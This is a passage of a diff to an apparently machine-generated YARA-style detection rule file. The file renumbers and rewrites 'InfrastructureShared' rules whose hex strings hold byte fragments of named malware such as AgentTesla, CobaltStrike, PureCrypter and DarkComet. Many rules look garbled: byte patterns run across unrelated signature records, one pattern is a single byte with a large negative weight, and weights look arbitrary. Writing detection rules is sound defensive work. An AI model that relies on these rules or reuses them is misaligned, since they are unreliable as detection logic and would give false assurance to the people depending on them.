21 4d 54 42 00 02 00 36 03 ba 40 00 00 00 48 8b fd 48 83 c6 02 8b ca 48 8b c5 48 03 f3 f3 a4 8b ca 8a 94 24 90 01 04 8d 79 c1 30 10 48 03 c7 48 2b cf 75 f6 48 8b d5 49 8b cd 41 ff d7 90 00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4f 4b 21 4d 54 42 00 02 00 39 01 11 09 1f 16 5d 91 13 0a 11 06 11 09 91 11 0a 61 13 0b 11 06 11 09 17 58 11 06 8e 69 5d 91 13 0c 11 0b 11 0c 59 20 00 01 00 00 58 20 ff 00 00 00 5f 13 0d 11 06 11 09 11 0d 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 } //9365 + $a_2e_1 = {6c 74 90 00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 59 41 46 21 4d 54 42 00 02 00 36 03 ba 40 00 00 00 48 8b fd 48 83 c6 02 8b ca 48 8b c5 48 03 f3 f3 a4 8b ca 8a 94 24 90 01 04 8d 79 c1 30 10 48 03 c7 48 2b cf 75 f6 48 8b d5 49 8b } //1025 + $a_d7_2 = {00 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4f 4b 21 4d 54 42 00 02 00 39 01 11 09 1f 16 5d 91 13 0a 11 06 11 09 91 11 0a 61 13 0b 11 06 11 09 17 58 11 06 8e 69 5d 91 13 0c 11 0b 11 0c 59 20 00 01 00 00 58 20 ff 00 00 00 5f 13 0d 11 06 11 09 11 0d 00 00 78 6a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 42 43 5a 21 4d 54 42 00 02 00 3c 03 26 1f 10 13 0e 2b a5 04 90 01 05 61 05 61 0a 90 01 05 0c 08 90 01 05 25 06 93 0b 06 18 58 93 07 61 0b 1f 0e 13 0e 90 01 05 7e 29 00 00 04 90 01 05 07 9a 25 0d 2c 08 18 13 0e 90 00 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c } //16845 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*1025+(#a_ff_2 & 1)*9365) >=1 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*1025+(#a_d7_2 & 1)*16845) >=1 } -rule _InfrastructureShared_6306{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 59 55 21 4d 54 42 00 02 00 3e 01 8b 8d 20 fe ff ff 83 c1 01 89 8d 20 fe ff ff 81 bd 20 fe ff ff 30 75 00 00 7d 65 e8 80 00 00 00 99 b9 fe 00 00 00 f7 f9 52 e8 72 00 00 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_6307{ +rule _InfrastructureShared_6636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -65641,7 +69064,7 @@ rule _InfrastructureShared_6307{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_6308{ +rule _InfrastructureShared_6637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -65651,7 +69074,17 @@ rule _InfrastructureShared_6308{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6309{ +rule _InfrastructureShared_6638{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 42 43 5a 21 4d 54 42 00 02 00 3c 03 26 1f 10 13 0e 2b a5 04 90 01 05 61 05 61 0a 90 01 05 0c 08 90 01 05 25 06 93 0b 06 18 58 93 07 61 0b 1f 0e 13 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65662,7 +69095,7 @@ rule _InfrastructureShared_6309{ ((#a_46_0 & 1)*16675+(#a_7e_1 & 1)*32304) >=2 } -rule _InfrastructureShared_6310{ +rule _InfrastructureShared_6640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65673,7 +69106,7 @@ rule _InfrastructureShared_6310{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29793) >=2 } -rule _InfrastructureShared_6311{ +rule _InfrastructureShared_6641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65683,7 +69116,7 @@ rule _InfrastructureShared_6311{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6312{ +rule _InfrastructureShared_6642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65694,7 +69127,7 @@ rule _InfrastructureShared_6312{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108) >=2 } -rule _InfrastructureShared_6313{ +rule _InfrastructureShared_6643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65705,7 +69138,7 @@ rule _InfrastructureShared_6313{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29545) >=2 } -rule _InfrastructureShared_6314{ +rule _InfrastructureShared_6644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65716,7 +69149,7 @@ rule _InfrastructureShared_6314{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2068) >=2 } -rule _InfrastructureShared_6315{ +rule _InfrastructureShared_6645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65727,7 +69160,7 @@ rule _InfrastructureShared_6315{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*-29567) >=2 } -rule _InfrastructureShared_6316{ +rule _InfrastructureShared_6646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65738,7 +69171,7 @@ rule _InfrastructureShared_6316{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24421) >=2 } -rule _InfrastructureShared_6317{ +rule _InfrastructureShared_6647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65749,7 +69182,7 @@ rule _InfrastructureShared_6317{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29806) >=2 } -rule _InfrastructureShared_6318{ +rule _InfrastructureShared_6648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65760,7 +69193,7 @@ rule _InfrastructureShared_6318{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*-1789) >=2 } -rule _InfrastructureShared_6319{ +rule _InfrastructureShared_6649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65771,7 +69204,7 @@ rule _InfrastructureShared_6319{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28439) >=2 } -rule _InfrastructureShared_6320{ +rule _InfrastructureShared_6650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65782,7 +69215,7 @@ rule _InfrastructureShared_6320{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*20308) >=2 } -rule _InfrastructureShared_6321{ +rule _InfrastructureShared_6651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65793,7 +69226,7 @@ rule _InfrastructureShared_6321{ ((#a_46_0 & 1)*21283+(#a_75_1 & 1)*15600) >=2 } -rule _InfrastructureShared_6322{ +rule _InfrastructureShared_6652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65803,18 +69236,29 @@ rule _InfrastructureShared_6322{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_6323{ +rule _InfrastructureShared_6653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {57 69 6e 36 34 2f 45 44 52 53 61 6e 64 62 6c 61 73 74 2e 42 00 01 00 27 03 c7 00 b8 42 42 42 c6 40 04 42 0f b7 90 02 05 66 89 43 05 0f b7 90 02 05 c6 43 07 d1 66 89 43 08 c6 43 0a c3 e8 90 00 01 00 18 03 ff d3 41 8d 90 01 02 33 } //21283 - $a_90_1 = {02 41 b8 00 30 00 00 ff 15 90 00 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 46 21 4d 54 42 00 01 00 1a 03 48 89 d9 e8 90 01 04 48 8b 8d 90 01 04 42 30 04 31 49 ff c6 4d 39 fe 75 90 00 01 00 19 03 48 89 f9 e8 90 01 04 48 8b 8d 90 01 04 30 04 31 48 ff c6 48 39 de 75 90 00 00 00 78 6a 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 } //17865 + $a_90_1 = {02 41 b8 00 30 00 00 ff 15 90 00 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 41 42 21 4d 54 42 00 01 00 22 01 8b 8d fc fe ff ff 03 4d bc 0f b6 01 99 b9 1a 00 00 00 f7 f9 83 c2 41 8b 45 bc 88 94 05 84 fe ff ff e9 01 00 19 01 8b 4d 48 8b 55 38 0f b7 04 4a 8b 4d 34 8b 55 54 03 14 81 89 95 b0 fe ff ff 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 } //17865 condition: ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*17865) >=2 } -rule _InfrastructureShared_6324{ +rule _InfrastructureShared_6654{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 41 42 21 4d 54 42 00 01 00 22 01 8b 8d fc fe ff ff 03 4d bc 0f b6 01 99 b9 1a 00 00 00 f7 f9 83 c2 41 8b 45 bc 88 94 05 84 fe ff ff e9 01 00 19 01 8b 4d } //21539 + $a_38_1 = {b7 04 4a 8b 4d 34 8b 55 54 03 14 81 89 95 b0 fe ff ff 00 00 78 6a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 43 46 21 4d 54 42 00 01 00 1a 03 48 89 d9 e8 90 01 04 48 8b 8d 90 01 } //-29880 + condition: + ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*-29880) >=2 + +} +rule _InfrastructureShared_6655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -65825,7 +69269,7 @@ rule _InfrastructureShared_6324{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-5895) >=2 } -rule _InfrastructureShared_6325{ +rule _InfrastructureShared_6656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65837,7 +69281,7 @@ rule _InfrastructureShared_6325{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*30027+(#a_6e_2 & 1)*22330) >=2 } -rule _InfrastructureShared_6326{ +rule _InfrastructureShared_6657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65848,7 +69292,7 @@ rule _InfrastructureShared_6326{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29700) >=2 } -rule _InfrastructureShared_6327{ +rule _InfrastructureShared_6658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65859,7 +69303,7 @@ rule _InfrastructureShared_6327{ ((#a_54_0 & 1)*18467+(#a_c3_2 & 1)*-7425) >=2 } -rule _InfrastructureShared_6328{ +rule _InfrastructureShared_6659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65871,7 +69315,7 @@ rule _InfrastructureShared_6328{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*12848+(#a_41_2 & 1)*27745) >=2 } -rule _InfrastructureShared_6329{ +rule _InfrastructureShared_6660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65883,7 +69327,7 @@ rule _InfrastructureShared_6329{ ((#a_77_0 & 1)*19491+(#a_73_1 & 1)*24936+(#a_61_2 & 1)*29557) >=2 } -rule _InfrastructureShared_6330{ +rule _InfrastructureShared_6661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -65895,7 +69339,7 @@ rule _InfrastructureShared_6330{ ((#a_5f_0 & 1)*25635+(#a_57_1 & 1)*27759+(#a_61_2 & 1)*779) >=2 } -rule _InfrastructureShared_6331{ +rule _InfrastructureShared_6662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -65908,7 +69352,7 @@ rule _InfrastructureShared_6331{ ((#a_72_0 & 1)*22051+(#a_54_1 & 1)*18467+(#a_68_2 & 1)*1536+(#a_00_3 & 1)*-7543) >=2 } -rule _InfrastructureShared_6332{ +rule _InfrastructureShared_6663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -65922,7 +69366,7 @@ rule _InfrastructureShared_6332{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*1536+(#a_00_2 & 1)*-7543+(#a_65_3 & 1)*28530+(#a_65_4 & 1)*11876) >=2 } -rule _InfrastructureShared_6333{ +rule _InfrastructureShared_6664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65934,7 +69378,7 @@ rule _InfrastructureShared_6333{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29811+(#a_01_2 & 1)*18374) >=3 } -rule _InfrastructureShared_6334{ +rule _InfrastructureShared_6665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65946,7 +69390,7 @@ rule _InfrastructureShared_6334{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*18374+(#a_01_2 & 1)*18374) >=3 } -rule _InfrastructureShared_6335{ +rule _InfrastructureShared_6666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65957,7 +69401,7 @@ rule _InfrastructureShared_6335{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*29810) >=3 } -rule _InfrastructureShared_6336{ +rule _InfrastructureShared_6667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65969,7 +69413,7 @@ rule _InfrastructureShared_6336{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*8292+(#a_50_2 & 1)*25968) >=3 } -rule _InfrastructureShared_6337{ +rule _InfrastructureShared_6668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65981,7 +69425,7 @@ rule _InfrastructureShared_6337{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25701+(#a_61_2 & 1)*8289) >=3 } -rule _InfrastructureShared_6338{ +rule _InfrastructureShared_6669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -65993,7 +69437,7 @@ rule _InfrastructureShared_6338{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*8293+(#a_70_2 & 1)*26980) >=3 } -rule _InfrastructureShared_6339{ +rule _InfrastructureShared_6670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66004,7 +69448,7 @@ rule _InfrastructureShared_6339{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26995) >=3 } -rule _InfrastructureShared_6340{ +rule _InfrastructureShared_6671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66016,7 +69460,7 @@ rule _InfrastructureShared_6340{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30313+(#a_00_2 & 1)*25953) >=3 } -rule _InfrastructureShared_6341{ +rule _InfrastructureShared_6672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66028,7 +69472,7 @@ rule _InfrastructureShared_6341{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32506+(#a_00_2 & 1)*25953) >=3 } -rule _InfrastructureShared_6342{ +rule _InfrastructureShared_6673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66040,7 +69484,7 @@ rule _InfrastructureShared_6342{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25964+(#a_6a_2 & 1)*0) >=3 } -rule _InfrastructureShared_6343{ +rule _InfrastructureShared_6674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66052,7 +69496,7 @@ rule _InfrastructureShared_6343{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*384+(#a_33_2 & 1)*17747) >=3 } -rule _InfrastructureShared_6344{ +rule _InfrastructureShared_6675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66063,7 +69507,7 @@ rule _InfrastructureShared_6344{ ((#a_4c_0 & 1)*21539+(#a_65_2 & 1)*29513) >=3 } -rule _InfrastructureShared_6345{ +rule _InfrastructureShared_6676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66075,7 +69519,7 @@ rule _InfrastructureShared_6345{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*27152+(#a_00_2 & 1)*-13526) >=3 } -rule _InfrastructureShared_6346{ +rule _InfrastructureShared_6677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -66086,42 +69530,45 @@ rule _InfrastructureShared_6346{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*27749) >=3 } -rule _InfrastructureShared_6347{ +rule _InfrastructureShared_6678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 44 61 72 6b 43 6f 6d 65 74 2e 41 21 52 41 54 00 01 00 0d 01 44 61 72 6b 43 6f 6d 65 74 2d 52 41 54 01 00 0b 01 44 61 72 6b 43 6f 64 65 72 53 63 01 00 0c 01 55 6e 72 65 6d 6f } //16675 $a_6f_1 = {67 01 00 06 01 53 79 6e 52 41 54 00 00 78 6a 00 00 03 00 03 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 41 4b 49 6e 73 74 61 6c 6c 2e 65 } //25972 - $a_01_3 = {41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 01 00 0d 80 01 4d 53 47 42 4f 58 5f 4f 4b 5f 50 4e 47 01 00 0e 80 01 72 65 63 6f 72 64 5f 70 61 64 64 69 6e 67 01 00 0c 80 01 61 6b 73 70 65 65 64 79 2e 63 6f 6d 00 00 78 6a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 53 56 43 42 21 4d 54 42 00 04 00 37 03 38 5a 00 00 00 11 } //3328 + $a_01_3 = {41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 01 00 0d 80 01 4d 53 47 42 4f 58 5f 4f 4b 5f 50 4e 47 01 00 0e 80 01 72 65 63 6f 72 64 5f 70 61 64 64 69 6e 67 01 00 0c 80 01 61 6b 73 70 65 65 64 79 2e 63 6f 6d 00 00 78 6a 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 44 65 6c 65 67 61 74 65 41 62 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 53 79 73 74 65 6d 2e 44 65 6c } //3328 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25972+(#a_01_3 & 1)*3328) >=3 } -rule _InfrastructureShared_6348{ +rule _InfrastructureShared_6679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : - $a_6c_0 = {77 4c 69 73 74 3a 41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 00 01 00 0d 80 01 41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 01 00 0d 80 01 4d 53 47 42 4f 58 5f 4f 4b 5f 50 4e 47 01 00 0e 80 01 72 65 63 6f 72 64 5f 70 61 64 64 69 6e 67 01 00 0c 80 01 61 6b 73 70 65 65 64 79 2e 63 6f 6d 00 00 78 6a 00 00 04 00 04 00 01 00 21 23 41 4c } //16675 - $a_72_1 = {6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 53 56 43 42 21 4d 54 42 00 04 00 37 03 38 5a 00 00 00 11 04 6f 90 01 01 00 00 0a 02 16 02 8e 69 6f 90 01 01 00 00 0a 13 03 20 00 00 00 00 7e 90 01 01 00 00 04 7b 90 01 01 00 00 04 3a c3 ff } //14918 - $a_90_2 = {00 00 78 6a 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 62 69 63 41 } //-1 - $a_2e_3 = {31 00 02 00 16 01 6d 6f 62 69 6c 65 63 6f 6e 73 75 6c 74 61 74 69 6f 6e 73 2e 72 75 01 00 05 01 20 53 4d 53 20 01 00 18 03 4f 6e 43 6c 69 63 6b 90 02 10 42 75 74 74 6f 6e 32 43 6c 69 63 6b 90 00 00 00 03 00 78 6a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 74 65 } //25458 + $a_6c_0 = {77 4c 69 73 74 3a 41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 00 01 00 0d 80 01 41 4b 49 6e 73 74 61 6c 6c 2e 65 78 65 01 00 0d 80 01 4d 53 47 42 4f 58 5f 4f 4b 5f 50 4e 47 01 00 0e 80 01 72 65 63 6f 72 64 5f 70 61 64 64 69 6e 67 01 00 0c 80 01 61 6b 73 70 65 65 64 79 2e 63 6f 6d 00 00 78 6a 00 00 03 00 03 00 04 00 21 23 48 53 } //16675 + $a_4d_1 = {49 4c 2f 44 65 6c 65 67 61 74 65 41 62 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 53 79 73 74 65 6d 2e 44 65 6c 65 67 61 74 65 01 00 0d 81 01 44 79 6e 61 6d 69 63 49 } //21076 + $a_6b_2 = {01 00 0a 81 01 4d 65 74 68 6f 64 42 61 73 65 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 6a 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 62 69 63 41 72 63 68 2e 41 31 00 02 00 16 01 6d 6f 62 69 6c 65 63 6f 6e 73 75 6c 74 61 74 69 6f 6e 73 2e 72 75 01 00 05 01 20 53 4d 53 20 01 00 18 03 4f } //30318 + $a_69_3 = {6b 90 02 10 42 75 74 74 6f 6e 32 43 6c 69 63 6b 90 00 00 00 03 00 78 6a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 74 65 6c 65 67 61 2e 52 54 21 4d 54 42 00 01 00 07 81 01 42 2e 64 65 62 75 67 01 00 09 81 01 40 2e 31 32 38 78 65 71 32 01 00 0c 81 01 2e 72 31 62 32 33 69 71 } //17262 condition: - ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*14918+(#a_90_2 & 1)*-1+(#a_2e_3 & 1)*25458) >=3 + ((#a_6c_0 & 1)*16675+(#a_4d_1 & 1)*21076+(#a_6b_2 & 1)*30318+(#a_69_3 & 1)*17262) >=3 } -rule _InfrastructureShared_6349{ +rule _InfrastructureShared_6680{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 53 56 43 42 21 4d 54 42 00 04 00 37 03 38 5a 00 00 00 11 04 6f 90 01 01 00 00 0a 02 16 02 8e 69 6f 90 01 01 00 00 0a 13 03 20 00 00 00 00 7e 90 01 01 00 00 } //16675 + $a_54_0 = {3a 4d 53 49 4c 2f 44 65 6c 65 67 61 74 65 41 62 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0f 81 01 53 79 73 74 65 6d 2e 44 65 6c 65 67 61 74 65 01 00 0d 81 01 44 79 6e 61 6d 69 63 49 6e 76 6f 6b 65 01 00 0a 81 01 4d 65 74 68 6f 64 42 61 73 65 01 00 } //18467 + $a_49_1 = {76 } //-32506 v + $a_00_2 = {00 78 6a 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 62 69 63 41 72 63 68 2e 41 31 00 02 00 16 01 6d 6f 62 69 6c 65 63 6f 6e 73 75 6c 74 61 74 69 6f 6e 73 2e 72 75 01 00 05 01 20 53 4d 53 20 01 00 18 03 4f 6e 43 6c 69 63 6b 90 02 10 42 75 74 74 6f 6e 32 43 } //27503 + $a_6b_3 = {00 00 00 03 00 78 6a 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 74 65 6c 65 67 61 2e 52 54 21 4d 54 42 00 01 00 07 81 01 42 2e 64 65 62 75 67 01 00 09 81 01 40 2e 31 32 38 78 65 71 32 01 00 0c 81 01 2e 72 31 62 32 33 69 71 77 78 69 65 01 00 0d 81 } //26988 condition: - ((#a_46_0 & 1)*16675) >=4 + ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*-32506+(#a_00_2 & 1)*27503+(#a_6b_3 & 1)*26988) >=3 } -rule _InfrastructureShared_6350{ +rule _InfrastructureShared_6681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -66133,7 +69580,7 @@ rule _InfrastructureShared_6350{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27715+(#a_65_2 & 1)*26723) >=4 } -rule _InfrastructureShared_6351{ +rule _InfrastructureShared_6682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -66146,7 +69593,7 @@ rule _InfrastructureShared_6351{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*-32499+(#a_73_2 & 1)*25447+(#a_47_3 & 1)*-32504) >=4 } -rule _InfrastructureShared_6352{ +rule _InfrastructureShared_6683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -66159,7 +69606,7 @@ rule _InfrastructureShared_6352{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_81_2 & 1)*1+(#a_6a_3 & 1)*0) >=4 } -rule _InfrastructureShared_6353{ +rule _InfrastructureShared_6684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -66167,47 +69614,37 @@ rule _InfrastructureShared_6353{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 